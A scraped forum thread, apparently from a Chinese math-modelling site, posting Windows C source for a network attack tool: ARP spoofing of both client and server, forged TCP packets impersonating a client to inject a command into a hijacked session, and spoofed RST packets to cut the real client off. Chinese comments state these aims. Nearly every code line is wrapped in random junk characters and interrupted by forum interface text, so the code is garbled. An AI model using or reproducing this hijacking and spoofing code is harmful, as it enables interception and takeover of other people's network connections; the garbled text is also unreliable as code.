9 i) a9 [% b3 i: ~DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, 1 `6 p6 @. [) l1 C3 k
            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
" q/ x. f. S8 h. U( P{ ) }+ w1 M; b7 p* ]) J: H2 _! ]
  PCONNINFO  pNew, pTmp; + e8 o/ N, P: X5 M2 {. c
! A* f# R7 c' w/ y( p; Z
  pTmp = g_pConnHead;
# z# _0 W( t) v; {6 N  while(pTmp)
) F7 J/ B) V: w4 m0 T% }7 U/ N  { " o( A  W) y& \+ S" Q
    if(pTmp-&gt;bActive)
: R1 c; b  K4 P9 X( s9 V  r    { - f, @2 O$ M7 z* D! D* @
      //found it
. z4 [0 Y% H9 d2 w$ }% D$ }8 P2 }      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp; ) y' F" f+ }! Q3 ~2 I5 u
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp; $ u9 W9 F& l% n* {' U9 S) ^+ \
        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp; 6 p5 h. L* ^- t0 Y9 ?* s! n
        (pTmp-&gt;uClientPort == uClientPort) )
6 j; ?- g$ k* c: ?$ g      { 0 q+ Q# W. ?3 }
        if(bDelete)
/ ^( d! S6 `9 ?8 S5 J        {
7 U2 }/ N$ Z  q" Y; ~; C          pTmp-&gt;bActive = FALSE;
, L7 z6 L% I9 }/ p! I4 u' b0 C9 N          return 0;
: V" ~2 }- k# w7 ^        }
2 Z/ i. ?! ^: X( ~        else return pTmp-&gt;ident;
* ]1 O7 L  U( a4 r3 M) C) o      }
6 X' a  _3 L3 ?5 a* h5 w* ~7 T( o& O    } 1 {) n0 Z( ~- f6 @
    pTmp = pTmp-&gt;Next; 0 ^, p/ U0 W- \
  }
2 p" N8 U3 v0 x, k  //not found, create new node : Z$ g1 e1 i7 d8 u; D2 ~
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) ) ! R3 n; d$ [0 i! z
  { ! A6 m9 O' i  C: S
    //search unactive note
' i, P6 e9 E, U) m* k1 T2 s    pTmp = g_pConnHead; ! D% W8 O& l3 r% k; K
    while(pTmp)
8 q( N% w2 l5 x# L7 G5 Y( f9 W    { 4 b: F, e4 F) `* _' t
      if(!pTmp-&gt;bActive) break; ( }- l4 x" N6 X6 ~
      pTmp = pTmp-&gt;Next; 9 H7 {7 r) F; w; y4 P
    } " ~) Q+ y+ \8 A4 |8 P8 t  P
    //found a unactive node , _- s; v3 e, O
    if(pTmp) 0 X5 I9 K2 M$ \9 d7 [+ ]& o
    {
5 w# R" d! F! P0 j      pTmp-&gt;dwServerIP = dwServerIP; 4 g6 t. y+ E6 @0 J
      pTmp-&gt;uServerPort = uServerPort;
  p: L+ l" Z" B6 W- d+ }# p* [      pTmp-&gt;dwClientIP = dwClientIP;
6 O* Y( ^, `  X" d6 K      pTmp-&gt;uClientPort = uClientPort; ! T+ v" k7 N1 ?( G- B  K
      pTmp-&gt;bActive = TRUE; - W3 a. y4 R$ d
      return pTmp-&gt;ident; 1 u4 ^9 O; E0 V) P! L* N
    }
, K1 {; T* T1 d5 f% b; D$ E: d8 C    //not found,create new node
" I2 l! Y2 K7 X8 v2 X, {5 D% m5 d1 n    pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); / ~- e9 i! i* W! }/ `# m
    if(!pNew) 0 h8 l8 A8 L5 {1 W. k( i
    { 1 m* Z2 w) B" j' U- e
      printf("malloc for link node error:%d\n", GetLastError());
4 U9 x4 u! u% B9 b  W9 e9 W# `      return 0;
- V( C7 P2 T4 x- y! ?% O    }
9 E" D# s! {+ K* ~5 Y& W    //fill the struct
! o6 x% I; Z& X% ~4 L% e( Y8 t; M: R    pNew-&gt;bActive = TRUE;
5 s9 ^. k6 `. d; D* d7 l3 W  U    pNew-&gt;dwServerIP = dwServerIP; * W! A6 f( A6 p* v) p+ w& f+ o
    pNew-&gt;uServerPort = uServerPort;
! B1 h# @: `; I* T. C    pNew-&gt;dwClientIP = dwClientIP;
+ J- k3 O. l4 Q3 s$ L    pNew-&gt;uClientPort = uClientPort; 1 C  L! e  t* x1 H* g( T9 d% X
    pNew-&gt;ident = ++g_ident; , D- w: p0 w! b5 T* f5 l
    pNew-&gt;Next = NULL; $ l) ~  q, c5 I4 q
    //add new node to link , F9 T0 v7 W  M- e$ m" T4 R
    if(!g_pConnHead) ( |4 @% K- Z5 G6 k% p5 Z
      g_pConnHead = g_pConnLast = pNew; $ g% E; [0 K7 Y. e+ P6 H1 q
    else # I  r; |' n' d
    {
' L3 B0 C9 R7 d- L      g_pConnLast-&gt;Next = pNew; 3 u  {# O% p) Q0 D/ h$ {! Y# y% w7 B
      g_pConnLast = pNew;
& t( z1 ^+ u8 q% E# j0 J    }
" c  j' B+ u; S' G6 M4 l    return pNew-&gt;ident; : C% K; D. \: A9 l
  } ( q7 f0 d: v/ r/ }
  return 0; % A) _+ W2 I5 x7 h: C; h6 F
} + j+ ^" [0 X* K) X& K
9 g7 X* O$ e# V% Z+ P3 v4 W  ]1 H8 {
//
+ J' K9 a+ [2 [: J. E: J" E//功能:判断一个数据包是不是只有ACK标志 # ]  N$ B" q/ C  o  Y9 [. }
//
5 ]8 D1 Z+ y- Q( b: K0 [; XBOOL IsACKPacket(unsigned char flag)
% @/ z* B( a; w( T7 S& s- q. \4 \/ F9 C{ " ?4 G5 m5 p' t/ i6 q) U6 x$ e$ _
  int  i, j=1; - _+ j6 z2 {5 O2 r# ?
  for(i=0 ; i&lt;4; i++) . w2 ]; R% q8 N  [) i
  { , d: G4 ^3 |& O
    if(flag &amp; j) return FALSE;
2 y: I$ m) k3 {/ Y8 P    j &lt;&lt;= 1; " g3 D0 T4 e# Y6 e7 J* f
  } , H. I& I2 W# G. i& C8 O
  if(!(flag &amp; 0x10)) return FALSE;//is ack?
' W9 v) R! f& _3 b% [, i0 V% ], F  if(flag &amp; 0x20) return FALSE;
6 M- s! u7 m+ m9 n# {* r3 i& f  z  return TRUE; 3 n9 c4 x$ u: W$ c+ R% i" H0 Q, G7 V
}
# j1 `7 X' U  I- b7 f/ E. O& w; o' n0 v1 M) ]
//
) a8 ?; s! M$ ?* G& E) i  Z//功能:伪装成Client给Server发送数据包
* A! n$ c( \- o( b- Z) i; Q//
4 c. m( O1 e5 IBOOL SendHiJackPacket(PTCPPACKET pTempletPacket) 3 t( y2 a2 U5 g: Z* x
{ & r, \7 W5 p/ j, b1 A8 u. @. ?
. Y  h0 i7 J4 I. w( B
  char    szBuff[1520];
% w* F" ~+ C. I5 w2 V/ C9 `  PSDHDR    psdhdr; ) P; ?1 H; C; E/ ?2 t) V
  PTCPPACKET  pHiJackPacket = NULL;
1 M# D! A7 [/ c  BOOL    bRet = FALSE; 4 J3 z1 c( `9 S3 y5 q7 t. s
; L3 e; E0 ]* Y( ^& b
  __try - ~6 o( s! M: t
  { 6 n- u& N4 D; C: o: v( L8 }
    // " ?6 F$ j. F0 W  ]
    if(!g_pCurrCtrlConn) __leave;
  ^. F; G  N4 N8 X1 P" M; u    //allocate memory for hijack packet
4 k- I/ T3 p) U2 w' w! p    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
) C) m% l% k( T5 c' ]  Y    if(!pHiJackPacket) / i0 O: e! t/ }! T$ C
    {
3 G! ~4 S$ A9 D( H, @( W+ K. T( d9 G" ^      printf("malloc error:%d\n", GetLastError()); # ~4 ]& ^3 h9 `  u! M( W
      __leave;
, r' T$ K( Q: B) Z* B    }
$ ^" g7 |+ m/ J  N    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); ' v% Q+ }* h. q2 b( D, B* G( @# X
    //-------------- modify the packet ---------------// % t; g$ t. M/ `: m! U
    //modify ethernet head $ |" N2 o% d6 s: F/ F, n$ v0 |
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6); $ Z& K% u  h/ T( e1 V6 g
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
3 |& G6 y" L4 N" u    //modify ip head , u" h& z: C- t4 m% N5 I
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
/ Y1 O4 Y1 Y/ P: S+ {' m    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
# o: v2 `$ ~& C# P7 n    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
3 A& u4 I! ]6 d' L/ |* j    pHiJackPacket-&gt;iphdr.checksum = 0; 3 }5 u- T3 [) z
    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client
' q: q0 [/ _0 r8 X8 s    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址 ) v: ?1 W) }& l9 K
    //modify tcp head
; m3 I7 ]% E9 _/ w4 i    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port ) Q: h$ R8 H) Q
    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
9 x8 Q+ @, {- `" K    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0); $ j* D# R& U" ?9 z. Z) @
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA : R, L- a* {3 C+ a
    pHiJackPacket-&gt;tcphdr.th_sum = 0; 9 T. E3 ]) y/ ?7 k3 M
    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44; . |. r% m0 }$ o4 a' n* J
    //fill tcp psd head 4 b7 }2 [6 P6 W# g, D' C
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           ! q9 z3 f8 d& X, ^' n- O9 U
    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           * X* |9 K% d0 d# D) m# t
    psdhdr.mbz = 0;
) `; {6 P7 w7 }! P  |0 d    psdhdr.ptcl = IPPROTO_TCP;
+ N( m2 Y9 w$ _    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len ' D/ t. f( a- d5 |0 t1 D
    //calculate tcp checksum     
9 s% G; o' w" O9 E3 K# p7 t" |    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   ! i) ?7 ]: D) ~9 `6 Z9 L# Y8 x* F  E8 F
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
' a+ m3 S9 O% t( z$ i, j% z8 d    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
( t3 q9 w# j% ^8 F  w' S, u( Z/ l    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
% Q, m$ z+ H$ c8 C5 n! d1 j: l1 s/ x    //calculate IP checksum - N, h5 k$ x7 I) W; x6 G
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR)); ; P5 J. ~) X8 z2 ^. O; u" e
    //fill send buffer           
! B1 P- h3 L0 G# i    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
5 w9 z5 z+ b$ M, Q$ F5 q7 _    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand)); 3 y5 b+ _+ _9 c3 E& p0 v0 b/ K
    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); 3 h' w# }: b5 w3 T# `. ]' ?, P
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); ( ^/ z, t+ `. P) z
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); * w, q  O2 s( v
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) 5 W6 @: t. `& i4 y  h. ]+ A% K
    {
: |% E+ i: n' U$ e      printf("Error sending the hijack packets!\n");
9 A: l7 n* a; a- _4 O/ M& v5 h      __leave; $ U+ k1 r3 Q) p  J' {* c
    } 6 [8 b- |. @! i
    else printf("Send hijack packet ok!\n"); / ], y+ ?- L7 l5 ?
    bRet = TRUE;
) {2 N& j% b; m3 h) O* O' O4 ]  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally 2 w( `+ e3 ?2 G
  { 7 {2 @1 h9 Q: l
    if(pHiJackPacket) free(pHiJackPacket); % z3 E& d% ~) \& M
  }
* [0 G0 i+ [" t7 h' _! a8 E  return bRet;
: W) l; e4 C6 A9 u! O1 A& `} 7 U5 Q3 O9 l; l. U3 I0 F+ l* U/ [

! m& R4 G: _" j( i/ X2 [; n
4 j. {/ p; s) X* p3 o9 J0 n3 B//
4 d- p1 w/ h3 l9 Q+ a$ X  |0 H//功能:伪装成Server给Client发送rst包
3 U. s  N" b* ]& [//
' _! u$ t* u! XBOOL SendRstPacket(unsigned int seq, unsigned int ack)
8 s, D# _: a9 W& K/ J{ , c, A. f8 v0 X3 X7 T4 V" x8 i
  char    szBuff[60]; ; t  S4 B2 h' O+ Z8 F
  PSDHDR    psdhdr; 6 p; x8 ^9 J' X5 d; Z5 k
  PTCPPACKET  pTcpPacket = NULL;
1 c, ]& X* d* T  m  BOOL    bRet = FALSE;
6 ~- j1 J/ z0 p+ r% u# v5 ]: U2 I1 b( x  ?) y+ `" N
  __try
% Q# Y2 X0 B, k  {
  ]5 h$ [1 [% M+ ~) D    //检查当前指向想控制的连接的信息的指针是否为空
5 C4 T) |4 k$ |- j; @6 m    if(!g_pCurrCtrlConn) __leave; ' L1 Z% b5 N1 Z
    //allocate memory for rst packet
1 g: j3 Q3 k5 \4 `( t6 q    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); 9 _) ]! M- d3 c& P/ w# `
    if(!pTcpPacket) # }, P0 X: s0 W2 X* p
    {
9 w$ M* K3 b) R9 c4 K! p      printf("malloc error:%d\n", GetLastError());
& S) M3 I% C) E- P! v      __leave;
& E" D$ P0 ]$ X2 M: s2 v# @    } ; V  V" l/ l: w3 q, w
    //fill ethernet head , N( [% Y2 C+ ?+ Q
    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6); 6 s) r) {0 l6 B
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
* @" x0 l/ g: A; X; |( i    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
9 M+ R% v! n! x( U! T: i* H    //fil ip head
; J# ]9 b3 _/ c2 o9 G+ R. P    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); , Z# S3 j% o- s  Q( _
    pTcpPacket-&gt;iphdr.tos = 0; 5 H9 M" F6 [; u4 @( o
    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); # n' q  Z& ^; f/ Q, @) c* B1 `
    pTcpPacket-&gt;iphdr.ident = 1;
) T: w4 P; h4 i/ k1 l    pTcpPacket-&gt;iphdr.frag_and_flags = 0; 4 t% f! L; }# P, t8 Q
    pTcpPacket-&gt;iphdr.ttl = 128; - s$ L5 W2 Y' Q' W, _! p
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
$ B1 [% j+ R- A) F& V$ I* B5 E    pTcpPacket-&gt;iphdr.checksum = 0; 0 l* i( b% b- r
    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的 1 R7 @6 b' k( G. s. P! z
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
% P! z7 {5 G3 W" p1 X2 u6 y    //fill tcp head
5 J. c! ?2 Z* ?* d    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口 5 {. q* L  y$ q( ]8 {. L1 P5 W
    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
, T. w1 e% w  A% t- Q    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
( k) P- P- |2 P) C/ ^& ^    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK 7 T2 p. I8 Q' Q
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
. q0 Q, N  @6 A6 L' \8 d3 `    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
( Z, v/ m1 w/ z" L$ ~$ Y    pTcpPacket-&gt;tcphdr.th_win = 0; ' y7 c1 o! L# `7 w; E+ F6 [
    pTcpPacket-&gt;tcphdr.th_urp = 0; . c3 s6 Y8 X. M! ~" q6 j
    pTcpPacket-&gt;tcphdr.th_sum = 0; 4 A1 b# i5 x+ z3 O$ |" [0 q
    //fill tcp psd head
3 [- ~' e' p' H2 {    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           9 `$ l  c' V0 @& ^
    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
9 \# G1 b: D" C5 {9 o4 q2 H9 u    psdhdr.mbz = 0; 0 {2 c3 _" l0 e$ Q. A# i! V! [# {
    psdhdr.ptcl = IPPROTO_TCP; ' G1 i, C- b* y/ q& W! t" m
    psdhdr.tcpl = htons(sizeof(TCPHDR));
7 B& d6 |# R+ P; _    //calculate tcp checksum     
1 B5 S* h9 K* y" o    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
  P. A6 \1 m0 X0 Y4 s5 E! b    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
& r; X& P& u! H5 V' P* X* \/ O    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
( `2 }6 S) k8 s/ n* H) z. T5 Q    //calculate IP checksum
) p+ K# K5 |" F( r; W3 p1 W4 e    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR)); ) L0 e0 A5 a8 {% G6 e' n
    //fill send buffer + x& I2 K1 G5 {1 d7 ]/ ?
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
( ?5 H2 k" T, ~7 T2 P7 y    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
. v4 w( m, H, j+ D+ r! `    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) # F4 ]8 h" e. b, `% S8 o8 k
    {
- C8 x& c; ]) v/ W6 @1 M3 K" u      printf("Error sending the rst packets!\n");
/ ]' r0 O6 O, s( Y" G      __leave; - c+ a7 w' I0 c' K; y5 J; Q- k6 F. D8 e
    }
/ X1 a7 A" R0 W9 q5 X# g  L    else printf("Send RST packet ok!\n"); ( f, ~2 y2 J; c* p" f& f
    bRet = TRUE; 7 v# D# A8 Q; I& F! I
  }
/ O7 K) F$ H7 J: C& ?5 }  __finally 2 u6 R" p. D& x' p- j' Q
  {
& ?6 l& H' X' J6 Y' q0 D2 d! u  |    if(pTcpPacket) free(pTcpPacket); $ m5 a% Q( N5 g6 H0 G# `1 P( q- U
  } 1 g) o( [6 t6 Y& ]* o0 E' B" l
  return bRet;
& D+ H; Y8 V2 x4 @9 y- G} + C$ i3 b2 ?, _7 F

, ~/ p7 N+ D$ ^8 a3 j// 1 e! R# o8 k! a! }
//功能:计算校验和
- `6 l. I: I; n5 g- m// : U+ G9 C0 H3 H  R1 G; k" {9 ^) {
USHORT checksum(USHORT *buffer, int size) & C) Q" ~1 _- Q" S" V
{ & I5 Z7 O& @7 W0 v
unsigned long cksum=0; + L' M3 E5 c6 H& e$ g2 v$ y
while(size &gt;1) {
- B' J: [1 X3 p6 a/ `  cksum+=*buffer++; . d6 p6 _2 _& X" ~& K
  size -=sizeof(USHORT); ' J1 t, M: S0 w
} 4 g+ k& Y4 v( w8 l& ^. c# N
if(size ) { 2 s6 o# S' ]" x3 F, G& k# Y6 {
  cksum += *(UCHAR*)buffer;
' b& }4 Y' l8 z+ Z, s; O } + W* e4 A( ^% R& g
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff); % a2 z2 `; q/ }8 c/ f- s
cksum += (cksum &gt;&gt;16); 4 d8 w9 w2 _  S# z5 N. c
return (USHORT)(~cksum);
+ m/ K# C9 a. y, x}
& T7 l9 q+ }5 d' {# ]5 r+ _9 V. z
// / y* S7 E# F3 p: G( d! ?% y
//功能:实施ARP欺骗
6 j3 U7 D2 c, k7 m//1 告诉ServerSide,ClientSide的mac是ownmac
# `2 G& I9 L: R# S- _//2 告诉ClientSide,ServerSide的mac是ownmac - @, c  @6 S9 O( f  W: Y
//
* u7 H5 u  s* b" O' m0 rDWORD WINAPI ArpSpoofThread(LPVOID lpType)
& w2 P# H4 t+ Z{ ( @" c0 ^  Q+ [
  int  iType = *(int *)lpType;
- i3 x/ R3 I: j' O7 u  ARPPACKET  ArpPacket;   S( J# J5 \$ \
  LPPACKET  lpArpPacket;
( `" A) e1 }8 d; y4 o9 E  char    szArpBuff[60];
6 K) ]+ C: F  f- }0 I1 t7 }- ?8 `. U( v  l) `2 |: s, j# p( i0 f
  switch(iType) ( q/ E- D7 h  v7 E; `
  {
9 e5 x8 O% @0 L2 P- |    case 1: 7 J% q. r1 q/ C* A4 z5 D; V  t$ }
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6); . m# i3 _% Z* q3 M
      ArpPacket.arphdr.DestIP = g_ServerSideIP;   k: _7 v5 M9 h4 R% |
      ArpPacket.arphdr.SourceIP = g_ClientSideIP; 0 j9 Q6 k( J5 t) q/ f* z  ?/ ]* Z
      break; 7 v+ {' I, B# u
    case 2:   ~+ ?" n/ ]( H# i# K: s
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
, g+ k3 |& m. g' \& {4 E      ArpPacket.arphdr.DestIP = g_ClientSideIP; 8 B$ p& e, E* d! S) L: R0 L
      ArpPacket.arphdr.SourceIP = g_ServerSideIP; 0 b' g  H  {1 @
      break; ' e  S- V, V9 U' b) m) L: t
    default:
& V3 r1 I7 W! \% ?! x9 `      return 0; - B9 D, ]$ c4 s
  } 0 R- D: t$ D5 b6 {% ]/ S  x  Q
  //ethernet head ! P2 J$ b, Q7 j0 T0 Y8 ^/ G3 q2 b
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
7 D% ^$ Y) ~. f( Z" T3 u& Q  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
) t. @) v1 y. z: O+ Y* S& h  //arp head " \* G4 L3 w  D, x
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
9 c) ?6 Y- c% D' ]  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
+ }/ [2 ?& x! J  b' H* M6 z+ Y  ArpPacket.arphdr.HrdAddrlen = 6;   [" t7 f1 m0 g5 n
  ArpPacket.arphdr.ProAddrLen = 4;
6 z& ^- d# D& q% p  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
7 b! r: F2 P  E1 \' C9 e& R  ArpPacket.arphdr.ProType = htons(EPT_IP); 5 Y: N: v6 l' a& }" ~) @: F+ X# [
  ArpPacket.arphdr.op = htons(2);//arp reply 4 C+ y8 U3 s- V) U; |* I# i

0 V% P. d$ [: K! Q% P, |/ C$ N  lpArpPacket = PacketAllocatePacket();
( W4 ]0 t' R  s5 L1 K) c  if(lpArpPacket == NULL)
' h9 q- L& |6 e0 d2 ~  { 8 n. U' |2 C. ~  E  P
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); 5 R4 N, l: ^3 i+ A
    return 0;
/ g5 i. w* G* Z3 d( n/ B& t7 {  } 0 C) }" f3 o( P
  memset(szArpBuff, 0, sizeof(szArpBuff)); 7 z! Q, W  f; a" |7 n% m
  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET)); , l' w8 y' [. E7 R7 K5 O: P
  PacketInitPacket(lpArpPacket, szArpBuff, 60); ! N& u; M/ k) s- U9 v' q0 J- k
  //send arp packet
" G7 `, V% B5 Q: p4 e  while(1) % }$ Y: u/ v5 |. H) Y6 Q( p
  { 0 l- e# `% B, v; R' u- n
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
0 _4 ]5 s  a+ T& [! @" ~8 h$ C    {
2 e  `4 L0 m$ _      printf("Error sending the arp spoof packets!\n");
0 F, [4 a8 e: F) z* t5 {      return 0; % ^: O5 Y2 w( R' S+ k" ]( i
    }
0 @) Q+ C" p% }9 h' ?0 S    Sleep(1000);
6 |5 J& T, w7 m  }
# V" t6 v- O& W. o9 ~1 a$ A! H  return 0; 3 l- T- V# g/ _$ x5 k3 P
}
/ O2 H. m, m- i9 L: x
# S8 @4 c' l7 T+ R9 T// ( s7 R1 h; p* H+ T8 G+ U, a5 s
//功能:输入IP取得对应的MAC地址 2 S+ a$ L1 B* Y+ @
// & j3 Z  a* U( c6 ~" z- E* n) k) I
BOOL GetMACAddr(DWORD DestIP, char *pMAC)   D4 @4 n' e6 A) ]# h% k* C8 u
{
& P, S- y* ]% w  DWORD  dwRet;
5 ?% `8 x" R( `1 j5 s2 m  ULONG  ulLen = 6, pulMac[2];
" E& m' `; Z2 J& K6 z  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen); / w7 D. n: K2 ]6 @
  if(dwRet == NO_ERROR)
+ \2 {1 w- t, @* q  {
, q% w8 Z$ o' D) N$ V    memcpy(pMAC, pulMac, 6); , G0 R* \& }, G% z! H$ ?" J2 ]
    return TRUE;
/ u' X" ~8 ?: `7 F  } * N6 U9 }+ @8 H" f* t9 Y( `" v
  else return FALSE;
9 p2 G7 _: e8 H$ L% O  q+ k" ~}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-4-18 06:32 , Processed in 0.550321 second(s), 90 queries .

    回顶部